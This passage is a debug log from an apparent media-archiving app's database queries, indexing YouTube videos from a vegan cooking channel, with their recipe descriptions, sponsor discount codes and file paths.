"https://www.youtube.com/watch?v=x01qp-p0t2A", 116, "/downloads/downloads/alec/Steamy Vegan/2025-02-04 I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe/I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe [x01qp-p0t2A].NA", false, false, false, 1, ~U[2025-02-04 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Billie Eilish's vegan noodle soup went viral a few years ago so I thought I'd try out this vegan recipe and see if it's really worth all of the hype! This vegan noodle soup is an easy vegan recipe, is high-protein with the tofu, and can be made gluten-free with the rice noodles. Hope you enjoy it!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe", 1, nil, false, "x01qp-p0t2A", "https://www.youtube.com/watch?v=x01qp-p0t2A", "/downloads/downloads/alec/Steamy Vegan/2025-02-04 I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe/I made the VIRAL Billie Eilish Vegan Noodle Soup Recipe 🍜 Vegan and Gluten-Free Recipe [x01qp-p0t2A].NA", false, ~U[2025-02-04 00:00:00Z]] 20:31:06.962 [debug] QUERY OK source="sources" db=0.9ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.964 [debug] QUERY OK source="media_items" db=2.0ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-01 00:00:00Z], 1] 20:31:06.968 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join me and meal prep for the week ahead with these 5 vegan recipes that are healthy, high-protein, gluten-free and great for weight loss! This is what I'm actually eating this week as I work to reach my weight loss goals and increase muscle on a plant-based diet.\n\nMost recipes below will be on my blog soon!\n\nBROCCOLI CHICKPEA CASSEROLE full recipe here 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\nSUNDUBU JJIGAE\n1 tbsp oil\n1 small onion, diced\n1 red bell pepper\n3 tbsp gochujang\n1 tbsp mirin\n3 tbsp soy sauce\n1 bundle enoki mushrooms, bottom 2 inches sliced off\n1 pound shiitake mushrooms, sliced\n2 to 3 cups chopped veggies (zucchini, broccoli, bok choy, etc.)\n3 cups broth (veggie, mushroom or kombu)\n1 block silken tofu, sliced into large cubes\n\n1. Saute onion in oil until softened. Stir in the gochujang and let it brown slightly to develop flavour.\n2. Deglaze the pan with the mirin and soy sauce, then add the shiitake mushrooms and half the enoki mushrooms. Stir to combine and let cook for 4 to 5 minutes. Add the bell pepper and cook for 2 mins until softened slightly.\n3. Pour in the broth, stir, cover and let cook for 5 to 6 minutes. Add the remaining enoki mushrooms, and bok choy and let the bok choy wilt for a couple minutes. Add the silken tofu and let warm through for a couple minutes. Taste and adjust seasonings if you like.\n4. Garnish with chopped green onions and enjoy!\n\nVEGGIE 'EGG' CUPS\n1 tbsp oil\n1 small onion, diced\n1 red bell pepper diced\n1 cup broccoli, cut into small florets\n2 cups chickpea flour\n1 tsp garlic powder\n1 tsp onion powder\n½ tsp turmeric\n1 tsp kala namak (black salt)\n1 tsp chili flakes (more or less depending on your spice preference)\n1 tsp baking powder\n½ cup vegan cheese (optional)\n2 cups aquafaba (canned chickpea liquid) or water\n\n1.Preheat oven to 400F and lightly oil a muffin tin. Warm oil in a saute pan and cook veggies until tender, about 4 to 5 minutes. Remove from pan.\n2. In a large mixing bowl combine the chickpea flour, spices and baking powder and whisk until well incorporated. Pour in the aquafaba and and whisk until it's a smooth batter with no lumps. Fold in the cooked veggies.\n3. Pour ¼ cup portions of the mixture into each muffin cup and bake for 30 minutes, until golden, firm to the touch and the edges are slightly crispy. \n4. Let cool in the pan for 10 minutes, then remove the veggie cups and transfer to a cooling rack. Enjoy warm! \n\nLEMON LIME COCONUT CHIA PUDDING\nZest of a 1 small lemon & 1 small lime\nJuice of 1 small lemon & 1 small lime\n1 can full fat coconut milk, about 1½ cups\n¼ cup water\n3 tbsp maple syrup\n¼ tsp salt\n¼ tsp turmeric\n5 to 6 tbsp chia seeds\n\nCombine all ingredients minus chia seeds in blender and blend until smooth. Add chia seeds and pulse a few times until incorporated. Pour into sealable container and refrigerate overnight until set and firmed up.\n\nORANGE MAPLE TAHINI DRESSING\n3 tbsp olive oil\n¼ cup orange juice\n3 to 4 tbsp apple cider vinegar\n2 tbsp maple syrup\n1 tbsp tahini\n1 tbsp dijon mustard\n\nTOFU FETA\n1 block extra firm tofu, cut into cubes\n1 tbsp miso paste\n¼ cup water\n1 tbsp olive oil\n1 tbsp apple cider vinegar or lemon juice\n½ tsp dried oregano\n½ tsp dried basil\n¼ tsp salt\npepper to taste\n\nCombine all marinade ingredients. Place tofu cubes in a sealable container and pour over marinade. Seal the lid and give it a toss to coat. Let marinate in fridge overnight.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n" <> ..., "Healthy High Protein Meal Prep! 5 Vegan Recipes I'm Eating This Week", "2bb9deb1-7f89-496f-807f-707a510f6d4a", 1, [], false, "bXKsZ2ZJISI", "https://www.youtube.com/watch?v=bXKsZ2ZJISI", 117, "/downloads/downloads/alec/Steamy Vegan/2025-02-01 Healthy High Protein Meal Prep! 5 Vegan Recipes I'm Eating This Week/Healthy High Protein Meal Prep! 5 Vegan Recipes I'm Eating This Week [bXKsZ2ZJISI].NA", false, false, false, 1, ~U[2025-02-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join me and meal prep for the week ahead with these 5 vegan recipes that are healthy, high-protein, gluten-free and great for weight loss! This is what I'm actually eating this week as I work to reach my weight loss goals and increase muscle on a plant-based diet.\n\nMost recipes below will be on my blog soon!\n\nBROCCOLI CHICKPEA CASSEROLE full recipe here 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Casserole\u00A0Re...\u00A0\u00A0\n\nSUNDUBU JJIGAE\n1 tbsp oil\n1 small onion, diced\n1 red bell pepper\n3 tbsp gochujang\n1 tbsp mirin\n3 tbsp soy sauce\n1 bundle enoki mushrooms, bottom 2 inches sliced off\n1 pound shiitake mushrooms, sliced\n2 to 3 cups chopped veggies (zucchini, broccoli, bok choy, etc.)\n3 cups broth (veggie, mushroom or kombu)\n1 block silken tofu, sliced into large cubes\n\n1. Saute onion in oil until softened. Stir in the gochujang and let it brown slightly to develop flavour.\n2. Deglaze the pan with the mirin and soy sauce, then add the shiitake mushrooms and half the enoki mushrooms. Stir to combine and let cook for 4 to 5 minutes. Add the bell pepper and cook for 2 mins until softened slightly.\n3. Pour in the broth, stir, cover and let cook for 5 to 6 minutes. Add the remaining enoki mushrooms, and bok choy and let the bok choy wilt for a couple minutes. Add the silken tofu and let warm through for a couple minutes. Taste and adjust seasonings if you like.\n4. Garnish with chopped green onions and enjoy!\n\nVEGGIE 'EGG' CUPS\n1 tbsp oil\n1 small onion, diced\n1 red bell pepper diced\n1 cup broccoli, cut into small florets\n2 cups chickpea flour\n1 tsp garlic powder\n1 tsp onion powder\n½ tsp turmeric\n1 tsp kala namak (black salt)\n1 tsp chili flakes (more or less depending on your spice preference)\n1 tsp baking powder\n½ cup vegan cheese (optional)\n2 cups aquafaba (canned chickpea liquid) or water\n\n1.Preheat oven to 400F and lightly oil a muffin tin. Warm oil in a saute pan and cook veggies until tender, about 4 to 5 minutes. Remove from pan.\n2. In a large mixing bowl combine the chickpea flour, spices and baking powder and whisk until well incorporated. Pour in the aquafaba and and whisk until it's a smooth batter with no lumps. Fold in the cooked veggies.\n3. Pour ¼ cup portions of the mixture into each muffin cup and bake for 30 minutes, until golden, firm to the touch and the edges are slightly crispy. \n4. Let cool in the pan for 10 minutes, then remove th (truncated) 20:31:06.968 [debug] QUERY OK source="sources" db=0.5ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.971 [debug] QUERY OK source="media_items" db=2.1ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-28 00:00:00Z], 1] 20:31:06.973 [debug] QUERY OK source="media_items" db=1.8ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Complement for sponsoring today's video!\n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nI've updated my homemade protein bars to make them low calorie, gluten-free, vegan, low sugar, and high-protein. These brownie protein bars are made with vegan protein powder, are weight loss friendly with 140 calories, are high-protein with 10g protein, and are refined sugar free with just 9g of sugar. The macros are so good you can have 2!\n\nBROWNIE PROTEIN BARS recipe blog post ➡️ https://steamyvegan.com/brownie-prote...\n\n💪🏼 My Fave Protein Powders for This Recipe\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nAnother great protein powder brand to try out is Sprout Living Protein Powder\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱", "966163fc-d007-480d-93e0-1b3a9211f30a", 1, [], false, "e0rtZ76R5bc", "https://www.youtube.com/watch?v=e0rtZ76R5bc", 118, "/downloads/downloads/alec/Steamy Vegan/2025-01-28 Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱/Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱 [e0rtZ76R5bc].NA", false, false, false, 1, ~U[2025-01-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Thank you to Complement for sponsoring today's video!\n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nI've updated my homemade protein bars to make them low calorie, gluten-free, vegan, low sugar, and high-protein. These brownie protein bars are made with vegan protein powder, are weight loss friendly with 140 calories, are high-protein with 10g protein, and are refined sugar free with just 9g of sugar. The macros are so good you can have 2!\n\nBROWNIE PROTEIN BARS recipe blog post ➡️ https://steamyvegan.com/brownie-prote...\n\n💪🏼 My Fave Protein Powders for This Recipe\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nAnother great protein powder brand to try out is Sprout Living Protein Powder\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nLooking for more high-protein meal inspo? Watch this playlist next! 💪🏼 \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nStill got a sweet tooth? Watch my SWEET TREATS playlist ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0 OR my CHOCOLATE LOVERS playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0CHOCOLATE\u00A0LOVERS\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱", 1, nil, false, "e0rtZ76R5bc", "https://www.youtube.com/watch?v=e0rtZ76R5bc", "/downloads/downloads/alec/Steamy Vegan/2025-01-28 Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱/Homemade Protein Bars 💪🏼 Low calorie, gluten-free, & plant-based 🌱 [e0rtZ76R5bc].NA", false, ~U[2025-01-28 00:00:00Z]] 20:31:06.976 [debug] QUERY OK source="sources" db=1.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.979 [debug] QUERY OK source="media_items" db=2.7ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-25 00:00:00Z], 1] 20:31:06.981 [debug] QUERY OK source="media_items" db=1.2ms idle=10.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day episode, I'll be eating some of Ariana Grande's favorite vegan recipes. Ariana Grande follows a vegan diet that is also mostly whole food plant based and I scoured the internet to find out what Ariana Grande eats in a day to develop 3 vegan recipes that I know you're going to love!\n\nAnd yes, there are plenty of Ariana Grande-isms from Wicked in today's episode so I hope you get a few laughs from them!\n\nThank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nVegan Scarpariello recipe ➡️ https://steamyvegan.com/vegan-scarpar...\n\nSubscribe for more vegan and gluten-free recipes every week!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more)", "7c35c930-2120-4b37-b580-df62f8276c28", 1, [], false, "cs9aA374r00", "https://www.youtube.com/watch?v=cs9aA374r00", 119, "/downloads/downloads/alec/Steamy Vegan/2025-01-25 I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more)/I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more) [cs9aA374r00].NA", false, false, false, 1, ~U[2025-01-25 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day episode, I'll be eating some of Ariana Grande's favorite vegan recipes. Ariana Grande follows a vegan diet that is also mostly whole food plant based and I scoured the internet to find out what Ariana Grande eats in a day to develop 3 vegan recipes that I know you're going to love!\n\nAnd yes, there are plenty of Ariana Grande-isms from Wicked in today's episode so I hope you get a few laughs from them!\n\nThank you to Complement for sponsoring today's video!\n\n💊🥬 Get 15% off Complement Protein, organic plant-based protein made with five real food proteins at https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nFor all other Complement products, use the link https://lovecomplement.com/?aff=578 and the coupon code STEAMYVEGAN at checkout to save 15% on your order. \n\n#empoweredbycomplement #complementpartner#lovecomplement\n\nVegan Scarpariello recipe ➡️ https://steamyvegan.com/vegan-scarpar...\n\nSubscribe for more vegan and gluten-free recipes every week!\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more)", 1, nil, false, "cs9aA374r00", "https://www.youtube.com/watch?v=cs9aA374r00", "/downloads/downloads/alec/Steamy Vegan/2025-01-25 I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more)/I Tried Vegan Recipes from Ariana Grande's Vegan Diet! (Vegan Scarpariello, White Smoothie and more) [cs9aA374r00].NA", false, ~U[2025-01-25 00:00:00Z]] 20:31:06.982 [debug] QUERY OK source="sources" db=1.1ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.984 [debug] QUERY OK source="media_items" db=2.1ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-22 00:00:00Z], 1] 20:31:06.986 [debug] QUERY OK source="media_items" db=1.4ms idle=8.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Thai cuisine meal prep has 4 vegan recipes for your weekly meal prep that you can make in under 2 hours. The vegan and gluten-free recipes in this meal prep are high-protein and gluten-free and some of the most popular Thai recipes including: a Thai yellow curry, vegan soy curl satay, basil fried rice, and a papaya salad.\n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nAll recipes can be found in this blog post here! ➡️ https://steamyvegan.com/vegan-thai-in...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more)", "b5647bc9-3fe0-4e4b-8d62-0386f5883f87", 1, [], false, "Iip4OpcAQ1c", "https://www.youtube.com/watch?v=Iip4OpcAQ1c", 120, "/downloads/downloads/alec/Steamy Vegan/2025-01-22 Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more)/Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more) [Iip4OpcAQ1c].NA", false, false, false, 1, ~U[2025-01-22 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This Thai cuisine meal prep has 4 vegan recipes for your weekly meal prep that you can make in under 2 hours. The vegan and gluten-free recipes in this meal prep are high-protein and gluten-free and some of the most popular Thai recipes including: a Thai yellow curry, vegan soy curl satay, basil fried rice, and a papaya salad.\n\nSubscribe for more weekly vegan and gluten-free recipes, grocery hauls, and more!\n\nAll recipes can be found in this blog post here! ➡️ https://steamyvegan.com/vegan-thai-in...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more)", 1, nil, false, "Iip4OpcAQ1c", "https://www.youtube.com/watch?v=Iip4OpcAQ1c", "/downloads/downloads/alec/Steamy Vegan/2025-01-22 Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more)/Healthy Thai Meal Prep! 4 Vegan and Gluten-Free Recipes (Thai Yellow Curry, Papaya Salad and more) [Iip4OpcAQ1c].NA", false, ~U[2025-01-22 00:00:00Z]] 20:31:06.988 [debug] QUERY OK source="sources" db=1.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.992 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-19 00:00:00Z], 1] 20:31:06.995 [debug] QUERY OK source="media_items" db=2.1ms idle=10.1ms INSERT INTO "media_items" AS 